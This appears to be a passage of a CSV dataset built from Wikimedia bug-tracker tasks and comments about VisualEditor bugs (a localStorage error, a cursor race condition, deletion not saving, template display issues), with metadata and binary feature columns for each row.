+**Severity**: normal",High,80.0,1355424480,1361832521.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zi2tai4mmhmdntkaup52,task_description,invalid,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+205635,"VisualEditor: ""localStorage is null"" error message","**orbit** wrote:
+
+We're going to resign (for now at least) from using localStorage for copy and paste. Although I was unable to reproduce this error, we're only using localStorage for copy and paste.",,,1361832521,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,False,,,-18,,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+205631,"VisualEditor: ""localStorage is null"" error message","@James: Yes, it is. I will look into it.",,,1360357578,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1
+205626,"VisualEditor: ""localStorage is null"" error message",Sounds like a CE-issue (for the copy-and-paste code?).,,,1355508197,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+45082,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Here is normal behavior:
+
+1. In VisualEditor, type a line of text.
+2. Position your cursor at the beginning of that line.
+3. Press the Home key on your keyboard, to move the cursor to the beginning of the line.
+4. Wait a moment.
+5. Press Enter, and the current text is pushed downward one line. This is correct and expected.
+
+Here is the buggy behavior:
+
+1. In VisualEditor, type a line of text.
+2. Position your cursor at the beginning of that line.
+3. VERY QUICKLY, press the Home key followed by the Enter key.
+4. The cursor moves down one line, so it is positioned below the line of text. The text did not move. This is incorrect behavior. The line of text should have been pushed downward.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355422260,1371169075.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-zvx6cpsh2puavdxxft2q,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+205402,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Fixed and will go out with wmf8, from Thursday 20 June.",,,1371169075,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+205395,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",https://gerrit.wikimedia.org/r/68300 (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a) | change APPROVED and MERGED [by jenkins-bot],,,1371169013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+205388,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",Related URL: https://gerrit.wikimedia.org/r/68300 (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a),,,1371076469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+205378,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",I've just created a test that covers this problem: https://github.com/inez/VE-tests/commit/4c1a444b207b37f90dc5d5ce969b5af00ee893ef (solution still not pushed).,,,1371002298,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0
+205371,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",This issue is not browser specific.,,,1371000914,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+205366,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Sounds like a polling issue. ""Very quickly"" probably means ""before the polling loop gets a chance to run""; it runs every 200ms.",,,1355558848,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,1,False,,,-29,,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+205362,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Crap... I made a mistake in my report.
+
+In line (2) of both examples, change ""beginning of the line"" to ""end of the line."" The cursor needs to be at the END of the line.",,,1355422346,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+45081,"VisualEditor: Select All + Delete removes all text from sight, but not internally","1. Using VisualEditor, edit an article that already has some text in it.
+2. Select all text with Ctrl-A.
+3. Press the DELETE key. All text disappears as expected.
+4. Click ""Review and Save"". The diff shows that text is STILL PRESENT in the article.
+5. Finish saving. You will see that text is still in the article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1355422080,1371505460.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-i4afw6okkvtcnnnerpcr,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+205321,"VisualEditor: Select All + Delete removes all text from sight, but not internally",This is now fixed (as of the new deletion code).,,,1371505460,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+205314,"VisualEditor: Select All + Delete removes all text from sight, but not internally","**orbit** wrote:
+
+Reproducible in Firefox.",,,1356133772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+205307,"VisualEditor: Select All + Delete removes all text from sight, but not internally","I can reproduce this with backspace too. Does seem to be a CE issue, because the linear model isn't emptied (it could also have been a selser issue).",,,1355693980,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+205300,"VisualEditor: Select All + Delete removes all text from sight, but not internally","More widely, it looks like the CE layer doesn't bind to delete the way it does to backspace; assigning.",,,1355429997,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+205293,"VisualEditor: Select All + Delete removes all text from sight, but not internally",The problem also occurs if you highlight all the article text with your mouse and press DEL.,,,1355423978,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+45076,VisualEditor: Some elements not alienated,"The coord template is not hatched but still visible and the links are still clickable.
+
+https://en.wikipedia.org/wiki/User:Raymond/coords
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1355413560,1357678877.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+205021,VisualEditor: Some elements not alienated,This (first part; second part is now bug 43155) is fixed in gerrit 39834 which is now merged; will be deployed as part of the 2013-01-16 release cycle.,,,1357678877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+205015,VisualEditor: Some elements not alienated,"(In reply to comment #0)
+> The coord template is not hatched but still visible and the links are still
+> clickable.
+> 
+> https://en.wikipedia.org/wiki/User:Raymond/coords
+
+Inspecting it shows that this is being alienated correctly, but for some reason it's not getting hatched out and not behaving quite correctly. That's a CE bug.
+
+Inspecting the coords element shows:
+
+<div contenteditable=""false"" class=""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode""><span typeof=""mw:Object/Template "" about=""#mwt1"" ...>[lots of scary stuff here, including nested <span>s]</span></div>
+
+
+(In reply to comment #1)
+> There are a few templates that aren't hatched. For example, the tables
+> created
+> by [[w:en:Template:Canadian_first_minister_list]] are editable with
+> VisualEditor, and trying to do so results in a mess of wikitext.
+This is actually a different bug. Tables of Canadian prime ministers aren't alienated at all due to a bug in Parsoid, while on Raymond's coords page the template is alienated correctly but the alien itself is misbehaving. Keeping this bug for the coords bug, splitting off the Canadian prime ministers bug to bug 43155.",,,1355560412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+205009,VisualEditor: Some elements not alienated,"**jnichols** wrote:
+
+There are a few templates that aren't hatched. For example, the tables created by [[w:en:Template:Canadian_first_minister_list]] are editable with VisualEditor, and trying to do so results in a mess of wikitext.",,,1355426222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+45041,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","A couple more uncaught TypeError, a la https://bugzilla.wikimedia.org/show_bug.cgi?id=43014:
+
+Uncaught TypeError: Cannot read property 'left' of undefined
+
+Uncaught TypeError: Cannot call method 'getOuterLength' of undefined
+
+Reported http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Error_loading_data_from_server:_Server_error
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355346720,1364318260.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-alx56wytsjcuj4hvxv6h,task_description,invalid,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1
+202932,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318251,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alx56wytsjcuj4hvxv6h,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+202926,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","Given errors sounds like a selection issue; assigning to CE, but please advise if not.",,,1355429701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alx56wytsjcuj4hvxv6h,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+45026,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Example Page: http://en.wikipedia.org/wiki/Ansaldo_Poggi
+
+1. Go to the top, click into the empty line above the ineditable image (the normally right floating image). This empty line should not exist. It can however, be deleted (press ""delete"" on the keyboard) which causes the start text to jump in front of the ""Modern Bolognese Violin-Making Table"" image.
+
+2. Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will be merged with the heading (ignoring the uneditable ""references"" tag and ""cite"" template).
+
+3. Similar to the above: Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Move one more right into the (errorneously existing) empty line between the heading and the uneditable references tag. Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will jump above the uneditable ""references"" tag and ""cite"" template.
+
+4. Do the same as above, i.e. go to the empty line after the References-Heading. However, this time click with the mouse into the line. Press ""delete"" on the keyboard. This time the behavior is different, nothing is deleted and the cursor jumps to the start of the article. This in itself seems again to be an error in the ordering of page objects. Now try to repeat this with different browser windows screen or zoom sizes, so that the originally, the start of the article is not visible before clicking delete. It can be seen that the focus is not updated, the cursor is outside of the visible area. Press ""delete"" again and with seeing it, parts of the text can be deleted.
+
+5. Do the same as above, click on line below reference with the mouse, delete once, cursor jumps to top. Do not delete again, but put the cursor again into the line below the reference heading with the mouse. This time the ineditable <references> tag is deleted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355334540,1420844082.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qr4la5fjep3uvnewafhr,task_description,resolved,True,c1,1,False,False,False,-29,,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+397660,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),These are all moot since the redesign of slugs over a year ago.,,,1420844082,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,3,True,,,79,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+202167,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Would having an object inspector on the non-editable non-text things that provides options to ""insert text before""/""insert text after"" be a solution to the problem?",,,1360616789,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0
+202160,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Created attachment 11767
+Mockup of VisualEditor in various modes
+
+Just wanted to note that slugs were an experimental solution to the problem of ""how do you allow users to insert content between non-text things?
+
+We have had a lot of ideas, but so far the direction we intend to go is to remove them entirely from the existing ""layout"" mode and provide an ""outline"" mode to the editor which includes them. There could also be a ""source"" mode where we could integrate the markup editing experience directly into VisualEditor.
+
+**Attached**: {F10138}",,,1360609163,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-20,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+202151,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Gladly: Windows 7, continuous updates, Google Chrome, Version 23.0.1271.95 m",,,1355343138,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+202144,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Thank you for the bug report.  Though I am unable to reproduce the first step in Firefox or Chrome.  To help with debugging, would you please include your browser information?",,,1355341412,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+45018,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"According to <https://test.wikipedia.org/wiki/Special:Version>, the VisualEditor extension is installed, but it doesn't seem to be enabled. I think VisualEditor should be enabled for all namespaces, all skins, all users, etc. on test.wikipedia.org.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1355330700,1367270827.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-3qimgh7ycaviacztiyae,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+201662,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,This is now deployed. Marking as fixed.,,,1367270827,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+201655,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #9)
+> Yeah; it would be helpful if gerrit changes which mentioned bugs were either
+> always or never proxied by the bot to bugzilla, instead of the half-way house
+> of being unknown. :-)
+
+Feel free to file a new ticket with reference to bug 17322. :)",,,1367251782,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+201649,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"Yeah; it would be helpful if gerrit changes which mentioned bugs were either always or never proxied by the bot to bugzilla, instead of the half-way house of being unknown. :-)
+
+Apologies, all!
+
+J.",,,1367250758,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+201645,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #7)
+> Related URL: https://gerrit.wikimedia.org/r/61382 (Gerrit Change
+> I56906c123e924b84eb9ee076cd67254f8935911d)
+
+Result of a typo. ^",,,1367249638,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
